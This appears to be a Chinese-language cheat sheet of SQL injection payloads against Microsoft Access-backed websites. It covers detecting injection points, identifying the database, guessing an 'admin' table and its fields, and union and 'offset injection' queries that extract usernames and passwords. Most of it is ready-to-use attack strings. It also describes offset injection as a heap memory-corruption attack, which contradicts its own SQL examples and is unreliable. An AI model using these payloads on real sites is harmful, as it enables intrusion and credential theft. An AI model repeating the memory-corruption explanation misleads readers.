access注入
简介
Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。
联合注入
盲注
偏移注入
判断注入点
'
and 1=1
and 1=2
or 1=1
or 1=2
数据库类型判断
# access
and exsits(select * from msysobjects) >0
# sql server
and exsits(select * from sysobjects) >0
枚举数据库
and exists(select * from admin)
枚举字段
and exists(select admin from admin)
and exists(select password from admin)
字段数判断
order by 20
order by 30
order by 25
?id=1513 and exists(select * from admin order by 6)
枚举可显示的字段
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
查询字段内容
and 1=2 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin
偏移注入(已知表名,字段名猜不到)
Access偏移注入(Access Offset Injection)是一种针对内存破坏攻击的技术,通常用于攻击程序中的堆内存结构,这种攻击的原理是利用程序中处理动态分配内存(如堆内存)时的错误,通过修改内存中的偏移量来访问或修改不应该被直接访问的内存区域。
Access偏移注入攻击通常需要以下几个步骤:
-
定位:攻击者首先需要找到一个可以被利用的内存分配和访问点。
-
偏移计算:攻击者需要计算出要攻击的目标内存地址与可访问内存地址之间的偏移量。
-
内存修改:利用找到的偏移量,攻击者可以修改内存中的数据,或者跳转到恶意的代码。
-
偏移注入的基本公式:
联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N(N=1,2...)
【注意:“联合查询所要补充的字段数” 指的是union关键字后面的select查询所需补充的字段数】- 在此处即为:联合查询补充字段数 = 当前字段数量(22) - admin表的字段数(6) x N
- 当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,...
1级偏移注入的payload:
- 根据公式我们可以计算出:联合查询补充字段数 = 22-6x1 = 16
- ?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
2级偏移注入的payload:
- 根据公式我们可以计算出:联合查询补充字段数 = 22-6x2 = 10
- ?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin a inner join admin b on a.id=b.id)
-- 定位
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin
and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin
-- 偏移计算
-- 22-16=6
-- 内存修改,使用别名方式嵌套输出内容
-- 10+6*2=22
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
-- 4+6*3=22
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)